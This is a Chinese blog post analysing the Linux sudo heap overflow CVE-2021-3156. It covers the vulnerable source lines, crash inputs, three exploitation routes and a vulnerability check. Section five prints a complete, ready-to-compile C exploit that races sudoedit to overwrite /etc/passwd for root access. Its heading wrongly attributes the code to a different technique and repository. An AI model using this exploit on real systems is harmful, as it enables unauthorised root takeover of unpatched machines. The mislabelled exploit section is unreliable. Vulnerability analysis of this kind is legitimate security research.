小言_互联网的博客

追洞小组 | Linux sudo提权CVE-2021-3156分析复现及exp的编写(上)

602人阅读  评论(0)

文章来源|MS08067 WEB攻防知识星球

本文作者:不言(Ms08067实验室追洞小组成员)

漏洞复现分析  认准追洞小组

一、漏洞介绍

Qualys 公司的研究团队在⼏乎所有主流 Unix 类操作系统都部署的 sudo 中发现了⼀个隐藏近10年之久的堆溢出漏洞,可导致任意低权限⽤户在使⽤默认 sudo 配置的易受攻击主机上获得 root权限。该漏洞被命名为“Baron Samedit”,是研究员对 Baron Samedi 和 sudoedit 的戏称。sudo 是⼀款⼏乎包含在所有基于 Unix 和 Linux 操作系统中的强⼤⼯具,可使⽤户以其它⽤户的安全权限运⾏程序。该漏洞本身隐藏了近10年之久。它源⾃2011年7⽉ (commit 8255ed69) 。这个漏洞易遭利⽤,⽤户⽆需是权限⽤户或者位于 sudoers 列表中。例如,甚⾄是“nobody”账户也可利⽤该漏洞。

影响版本


   
  1. sudo 1 .8 .2 – 1 .8 .31p2
  2. sudo 1 .9 .0 – 1 .9 .5p1

不受影响版本

sudo =< 1.9.5p2

二、漏洞分析

官方链接

https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

如果执⾏sudo,在"shell"模式下运⾏命令(shell -c 命令):

  • 或者通过 -s 选项,设置sudo的 MODE_SHELL 标记;

  • 或者通过 -i 选项,设置sudo的 MODE_SHELL 和 MODE_LOGIN_SHELL 标记;

之后在sudo的main()的开头,parse_args()重新写argv(第609-617⾏),将所有命令⾏参数(第587-595⾏),并且⽤反斜杠转义所有元字符(第590-591)。


   
  1. 571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
  2. 572 char **av, *cmnd = NULL;
  3. 573 int ac = 1;
  4. ...
  5. 581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
  6. ...
  7. 587 for (av = argv; *av != NULL; av++) {
  8. 588 for (src = *av; *src != '\0'; src++) {
  9. 589 /* quote potential meta characters */
  10. 590 if (!isalnum((unsigned char)*src) && *src != '_'&& *src != '-' && *src != '$')
  11. 591 *dst++ = '\\';
  12. 592 *dst++ = *src;
  13. 593 }
  14. 594 *dst++ = '';
  15. 595 }
  16. ...
  17. 600 ac += 2; /* -c cmnd */
  18. ...
  19. 603 av = reallocarray(NULL, ac + 1, sizeof(char *));
  20. ...
  21. 609 av[0] = (char *)user_details.shell; /* plugin may overrideshell */
  22. 610 if (cmnd != NULL) {
  23. 611 av[1] = "-c";
  24. 612 av[2] = cmnd;
  25. 613 }
  26. 614 av[ac] = NULL;
  27. 615
  28. 616 argv = av;
  29. 617 argc = ac;
  30. 618 }

在 sudoers_policy_main() 中, set_cmnd() 将命令⾏参数放⼊基于堆的缓冲区 user_args (第864-871⾏),并且取消转义元字符(第866-867⾏),来实现sudoers的匹配和记录。


   
  1. 819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
  2. ...
  3. 852 for (size = 0, av = NewArgv + 1; *av; av++)
  4. 853 size += strlen(*av) + 1;
  5. 854 if (size == 0 || (user_args = malloc(size)) == NULL) {
  6. ...
  7. 857 }
  8. 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
  9. ...
  10. 864 for (to = user_args, av = NewArgv + 1; ( from = *av); av++) {
  11. 865 while (* from) {
  12. 866 if ( from[ 0] == '\\' && !isspace((unsigned char) from[ 1])) 867 from++;
  13. 868 *to++ = * from++;
  14. 869 }
  15. 870 *to++ = ' ';
  16. 871 }
  17. ...
  18. 884 }
  19. ...
  20. 886 }

不幸的是,如果命令以单个反斜杠结尾的字符,然后:


   
  1. 在第 866行, from[ 0]是反斜杠,而 from[ 1]是参数的 null终止符(不是空格);在C语言中\\代表一个\。
  2. 在第 867行, from自增指向 null终止符;
  3. 在第 868行,将 null终止字符复制到user_args缓冲区,而 from再次自增并且指              向 null后面的字符(超过参数边界);
  4. 在第 865 -869行的 while循环读取并越界复制字符到user_args缓冲区。

换句话来说,setcmnd()容易受到堆的缓冲区溢出,因为复制到`userargs`缓冲区外的字符不在计算的大小中(在第852-853计算)。

但是从理论上将任何命令行参数都不能够以单个反斜杠结束:如果设置了MODE_SHELL和MODE_LOGIN_SHELL标记(第858行,获取易受攻击代码的必要条件),则设置 MODE_SHELL(第571行),然后parse_args() 已经转义了所有的元字符,包括反斜杠(它通过第二个反斜杠转义了所有的单个反斜杠)。

但是实际上,set_cmnd()中易受攻击的代码和转义符parse_args()中的代码被不同的条件限制:


   
  1. 819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
  2. ...
  3.   858      if ( ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
  4. 571 if ( ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {

那么我们的问题是:我们可以设置MODE_SHELL MODE_EDIT MODE_CHECK(获取易受攻击的代码),而不使用默认的MODE_RUN(以避免转义代码)

答案是否定的,如果我们设置了MODE_EDIT(-e选项,第361行)或者MODE_CHECK(-l选项,第423行和第519行),则parse_args()从 valid_flags 删除 MODE_SHELL(第363行和424行)而如果我们指定一个无效标记MODE_SHELL(第532行至533行),则会以一个错误退出:


   
  1. 358 case 'e':
  2. ...
  3. 361 mode = MODE_EDIT;
  4. 362 sudo_settings[ARG_SUDOEDIT]. value = "true";
  5. 363 valid_flags = MODE_NONINTERACTIVE;
  6. 364 break;
  7. ...
  8. 416 case 'l':
  9. ...
  10. 423 mode = MODE_LIST;
  11. 424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
  12. 425 break;
  13. ...
  14. 518 if (argc > 0 && mode == MODE_LIST)
  15. 519 mode = MODE_CHECK;
  16. ..
  17. 532 if ((flags & valid_flags) != flags)
  18. 533 usage( 1);

但是发现一个问题:如果我们以sudoedit而非sudo来执行sudo,则parse_args() 自动设置MODE_EDIT(第270行)但并未重置 valid_flags,而valid_flags 默认包括 MODE_SHELL(第127行和249行):


   
  1. 127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
  2. ...
  3. 249 int valid_flags = DEFAULT_VALID_FLAGS;
  4. ...
  5. 267 proglen = strlen(progname);
  6. 268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
  7. 269 progname = "sudoedit";
  8. 270 mode = MODE_EDIT;
  9. 271 sudo_settings[ARG_SUDOEDIT].value = "true";
  10. 272 }

因此,如果我们执行sudoedit -s,那么我们将同时设置MODE_EDIT和MODE_SHELL(但不是MODE_RUN),我们避免了转义代码,到达易受攻击的代码,并通过基于堆的缓冲区溢出user_args一个以单个反斜杠字符结尾的命令行参数:


   
  1. sudoedit -s '\' `perl -e 'print "A" x 65536 '`malloc(): corrupted top sizeAborted (core dumped)

从攻击者的角度来看,这个缓冲区溢出是理想的:


   
  1. 我们可以控制被溢出的user_args缓冲区的大小(连接的命令行参数的大小,在 852 -854行);
  2. 我们可以独立控制溢出本身的大小和内存(我们的最后一个命令参数之后是首个环境变量,不包含在 852行到 853行的计算大小中);
  3. 我们甚至可以把空字节写入溢出的缓冲区(每个以单个反斜杠结尾的命令行参数或环境变量将空字节写入user_args中,在 866-868行)

例如,在 amd64 Linux 上,如下命令分配一个24字节大小的 user_args 缓冲区(32字节大小的堆块)并通过 “A=A\0B=B\0” 覆写下一个块的size字段 (0x00623d4200613d41),以“C=c\0D=d\0” (0x00643d4400633d43) 覆写 fd 字段,以 E=e\0F=f\0” (0x00663d4600653d45) 覆写 bk 字段:


   
  1. env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
  2. -------------------------------------------------------------------------
  3. -|--------+--------+--------+--------|--------+--------+--------+--------+--
  4. | | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|--|
  5. --------+--------+--------+--------|--------+--------+--------+--------+--
  6. size <---- user_args buffer ----> size fd bk

三、利用分析

1、struct sudo_hook_entry overwrite

引起我们注意的第一个崩溃是:


   
  1. Program received signal SIGSEGV, Segmentation fault.
  2. 0x000056291a25d502 in process_hooks_getenv(name=name@entry= 0x7f4a6d7dc046 "SYSTEMD_BYPASS_USERDB", value=value@entry= 0x7ffc595cc240) at ../../src/hooks.c: 108
  3. => 0x56291a25d502 <process_hooks_getenv+ 82>: callq * 0x8(%rbx)
  4. rbx 0x56291c1df2b0 94734565372592
  5. 0x56291c1df2b0: 0x4141414141414141 0x4141414141414141

令人惊讶的是,sudo的函数process_hooks_getenv()崩溃了(在108行),因为我们改写了指针getenv_fn(基于堆的结构sudo_hook_entry):


   
  1. 99 int100 process_hooks_getenv(const char *name, char **value)
  2. 101 {
  3. 102 struct sudo_hook_entry *hook;
  4. 103 char *val = NULL;
  5. ...
  6. 107 SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {
  7. 108 rc = hook->u.getenv_fn(name, &val, hook->closure);

要利用此struct sudo_hook_entry overwrite,我们要注意:

对getenv_fn的调用(在第108行)以及对execve()的调用:

int execve(const char *filename, char *const argv[ ], char *const envp[ ]);


   
  1. name(SYSTEMD_BYPASS_USERDB)与execve()的路径名参数;
  2. &val(一个指向空指针的指针)与execve()的argv;
  3. hook-> closure( NULL指针)与execve()的envp;

我们可以通过劫持函数指针getenv_fn(指向共享库sudoers.so中的函数sudoers_hook_getenv())在存在ASLR的情况下进行部分覆写;幸运的是sudoers.so开始包含了对execve()或(execv())的调用:


   
  1. 0000000000008a00 <execv@plt>:
  2. 8a00: f3 0f 1e fa endbr64
  3. 8a04: f2 ff 25 65 55 05 00 bnd jmpq * 0x55565(%rip) # 5df70 <execv@GLIBC_2 .2 .5>
  4. 8a0b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax, 1

首先我们可以暴力漏洞参数,直到用一个无效的用户地址(高于0x800000000000)覆盖getenv_fn,直到getenv_fn的调用出现一般保护错误:


   
  1. sudoedit [15904]
  2. general protection fault ip :55e9b645b502 sp :7ffe53d6fa40 error :0 in sudo [55e9b644e000+1a000]
  3. ^^^

接下来,我们重新利用这些漏洞参数,但用一个有效的(低于0x800000000000)但未映射的用户地址来覆盖getenv_fn,在这个示例中,getenv_fn是我们覆盖的第22个指针。


   
  1. sudoedit [15906]: segfault at
  2. 323230303030 ip 0000323230303030 sp 00007 ffeeabf2868 error 14 in sudo [55b036c16000+5000]
  3. ^^^^

最后,我们部分覆盖getenv_fn(我们用0x8a00覆盖它的两个最不重要的字节,sudoers.so中execv()的偏移量,用0x00覆盖它的第三个字节。user_args在set_cmnd()中的空终结符),直到我们打败ASLR。我们很有可能在2^(3*8-12)=2^12=4096次尝试后,用execv()的地址覆盖getenv_fn,从而以root身份执行我们自己的二进制文件,命名为 "SYSTEMDBYPASSUSERDB"。

2、 struct service_user overwrite

引起我们注意的第二次崩溃是:


   
  1. Program received signal SIGSEGV, Segmentation fault.
  2. 0x00007f6bf9c294ee in nss_load_library (ni=ni@entry= 0x55cf1a1dd040) at nsswitch.c: 344
  3. =>  0x7f6bf9c294ee <nss_load_library+ 46>:        cmpq   $0 x 0, 0x8(%rbx)
  4. rbx             0x41414141414141     18367622009667905

glibc的函数nss_load_library()崩溃了(在第344行),因为我们重写了指针library,它是基于堆的结构service_user的成员:


   
  1. 327 static int328 nss_load_library (service_user *ni)
  2. 329 {
  3. 330 if (ni->library == NULL)
  4. 331 {
  5. ...
  6. 338 ni->library = nss_new_service (service_table ?: &default_table,
  7. 339 ni->name);
  8. ...
  9. 342 }
  10. 343
  11. 344 if (ni->library->lib_handle == NULL)
  12. 345 {
  13. 346 /* Load the shared library. */
  14. 347 size_t shlen = ( 7 + strlen (ni->name) +
  15. 348                       + strlen (__nss_shlib_revision) +  1);
  16. 349 int saved_errno = errno;
  17. 350 char shlib_name[shlen];
  18. 351
  19. 352 /* Construct shared object name. */
  20. 353 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
  21. 354 "libnss_"),
  22. 355 ni->name),
  23. 356 ".so"),
  24. 357 __nss_shlib_revision);
  25. 358
  26. 359 ni->library->lib_handle = __libc_dlopen (shlib_name);

我们可以轻松地将service_user覆盖转换为任意代码执行:


   
  1. 我们使用 NULL指针覆盖ni-> library,以在第 330 -342行输入该块,避免在第 344行崩溃,并在第 344 -359行输入该块;
  2. 我们用 X / X覆盖ni-> name(字符数组,最初为 systemd);
  3. 353 -357行构造共享库libnss_X / X.so .2的名称(而不是 libnss_systemd.so .2);
  4. 在第 359行,我们从以下位置加载了自己的共享库libnss_X / X.so .2 当前工作目录并以root身份执行_init()构造函数。

3、def_timestampdir overwrite

第三个漏洞利用不是来自sudo的崩溃,而是来自一个偶然的观察结果:在暴力之下,sudo在我们的工作目录(AAAAAA, AAAAAAAAA, etc)中创建了数十个新目录,这些目录每个都属于root,并且只包含了一个以我们自己的用户命名的小文件:sudo的timestamp file。我们重写了def_timestampdir,sudo的timestamp directory。

如果我们用尚不存在的目录名覆盖def_timestampdir,则可以与sudo的ts_mkdirs()竞争,创建指向任意文件的符号链接,然后:


   
  1. chown()这个任意文件到用户root和组root;
  2. 以root用户身份打开(或创建)任意文件,并编写一个结构 timestamp_entry。

我们无法将转换为完全root特权(例如,如果我们将自己的SUID二进制文件chown()转换为root,则内核会自动删除二进制文件的SUID位)。

最终我们使用第二种方法提升为root权限。

我们通过sudo的timestamplock()中的一个小bug,我们赢得了与`tsmkdirs()和timestamp_open()的竞争,并且我们的任意符号链接指向etc/passwd`,那么这个文件就会以root身份打开。


   
  1. 65 struct timestamp_entry {
  2. 66 unsigned short version; /* version number */
  3. 67 unsigned short size; /* entry size */
  4. 68 unsigned short type; /* TS_GLOBAL, TS_TTY, TS_PPID */ ..
  5. 78 };
  6. 305 static ssize_t
  7. 306 ts_write( int fd, const char *fname, struct timestamp_entry *entry, off_t offset)
  8. 307 {
  9. ...
  10. 318 nwritten = pwrite(fd, entry, entry->size, offset);
  11. ...
  12. 350 }
  13. 619 bool
  14. 620 timestamp_lock( void *vcookie, struct passwd *pw)
  15. 621 {
  16. 622 struct ts_cookie *cookie = vcookie;
  17. 623 struct timestamp_entry entry;
  18. ...
  19. 644 nread = read(cookie->fd, &entry, sizeof(entry));
  20. 645 if (nread == 0) {
  21. ...
  22. 652 } else if (entry.type != TS_LOCKEXCL) {
  23. ...
  24.   657      if (ts_write(cookie->fd, cookie->fname, &entry,  0) ==  -1)

在第644行,/etc/passwd的前0x38字节("root: x:0:0:..."),被读入了timestamp_entry类型的entry。

在第652行,entry.tpye是0x783a (":x"),不是TS_LOCKEXCL。

在第657行和318行,将entry->size的字节写入/etc/passwd,entry->size的值实际已经被覆盖为0x746f("ot"),而不是sizeof(struct timestamp_entry)。

我们将sudo堆栈的内容全部写入/etc/passwd(命令行参数和环境变量),将任意用户写入/etc/passwd获得root权限。

四、POC的验证

以非root用户登录系统,并使用命令sudoedit -s /

  • 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

  • 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

五、Exp的编写

利用struct service_user overwrite

https://github.com/blasty/CVE-2021-3156


   
  1. // Exploit by @gf_256 aka cts// With help from r4j// Original advisory by Baron Samedit of Qualys// Tested on Ubuntu 18.04 and 20.04// You will probably need to adjust RACE_SLEEP_TIME.
  2. #include <stdio.h>
  3. #include <stdint.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <stdlib.h>
  7. #include <assert.h>
  8. #include <unistd.h>
  9. #include <sys/wait.h>
  10. #include <sys/types.h>
  11. #include <sys/resource.h>
  12. #include <sys/stat.h>
  13. #include <unistd.h>
  14. #include <fcntl.h>
  15. #include <pwd.h>
  16. // !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!!
  17. #define RACE_SLEEP_TIME 10000
  18. char *target_file;
  19. char *src_file;
  20. size_t query_target_size(){
  21. struct stat st;
  22. stat(target_file, &st);
  23. return st.st_size;
  24. }
  25. char* read_src_contents(){
  26. FILE* f = fopen(src_file, "rb");
  27. if (!f) {
  28. puts( "oh no baby what are you doing :(");
  29. abort();
  30. }
  31. fseek(f, 0, SEEK_END);
  32. long fsize = ftell(f);
  33. fseek(f, 0, SEEK_SET);
  34. char *content = malloc(fsize + 1);
  35. fread(content, 1, fsize, f);
  36. fclose(f);
  37. return content;}
  38. char* get_my_username(){
  39. // getlogin can return incorrect result (for example, root under su)!
  40. struct passwd *pws = getpwuid(getuid());
  41. return strdup(pws->pw_name);}
  42. int main(int my_argc, char **my_argv){
  43. puts( "CVE-2021-3156 PoC by @gf_256");
  44. puts( "original advisory by Baron Samedit");
  45. if (my_argc != 3) {
  46. puts( "./meme <target file> <src file>");
  47. puts( "Example: ./meme /etc/passwd my_fake_passwd_file");
  48. return 1;
  49. }
  50. target_file = my_argv[ 1];
  51. src_file = my_argv[ 2];
  52. printf( "we will overwrite %s with shit from %s\n", target_file, src_file);
  53. char* myusername = get_my_username();
  54. printf( "hi, my name is %s\n", myusername);
  55. size_t initial_size = query_target_size();
  56. printf( "%s is %zi big right now\n", target_file, initial_size);
  57. char* shit_to_write = read_src_contents();    
  58. char memedir[ 1000];
  59. char my_symlink[ 1000];
  60. char overflow[ 1000];
  61. char* bigshit = calloc( 1, 0x10000);
  62. memset(bigshit, 'A', 0xffff);
  63. // need a big shit in the stack so the write doesn't fail with bad address
  64. char *argv[] = { "/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL };
  65. char *envp[] = {
  66. "\n\n\n\n\n"// put some fucken newlines here to separate our real contents from the junk        
  67. shit_to_write,
  68. "SUDO_ASKPASS=/bin/false",
  69. "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
  70. bigshit,
  71. NULL
  72. };
  73. puts( "ok podracing time bitches");
  74. for ( int i = 0; i < 5000; i++) {
  75. sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i);
  76. sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir);
  77. sprintf(my_symlink,  "%s/%s", memedir, myusername);        
  78. puts(memedir);
  79. if (access(memedir, F_OK) == 0) {
  80. printf( "dude, %s already exists, do it from a clean working dir\n", memedir);
  81. return 1;
  82. }
  83. pid_t childpid = fork();
  84. if (childpid) 
  85. {
  86. // parent
  87. usleep(RACE_SLEEP_TIME);
  88. mkdir(memedir, 0700);
  89. symlink(target_file, my_symlink);
  90. waitpid(childpid, 0, 0);
  91. }
  92. else { // child
  93. setpriority(PRIO_PROCESS, 0, 20);
  94. // set nice to 20 for race reliability
  95. execve( "/usr/bin/sudoedit", argv, envp);
  96. // noreturn
  97. puts( "execve fails?!");
  98. abort();        
  99. }        
  100. if (query_target_size() != initial_size) {
  101. puts( "target file has a BRUH MOMENT!!!! SUCCess???");
  102. system( "xdg-open 'https://www.youtube.com/watch?v=4vkR1G_DUVc'"); // ayy lmao
  103. return 0;
  104. }
  105. }
  106. puts( "Failed?");
  107. puts( "if all the meme dirs are owned by root, the usleep needs to be decreased.");
  108. puts( "if they're all owned by you, the usleep needs to be increased");
  109. return 0;}

六、Exp的gdb调试

未完待续...

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前36000+人已关注加入我们



转载:https://blog.csdn.net/shuteer_xu/article/details/114302958
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场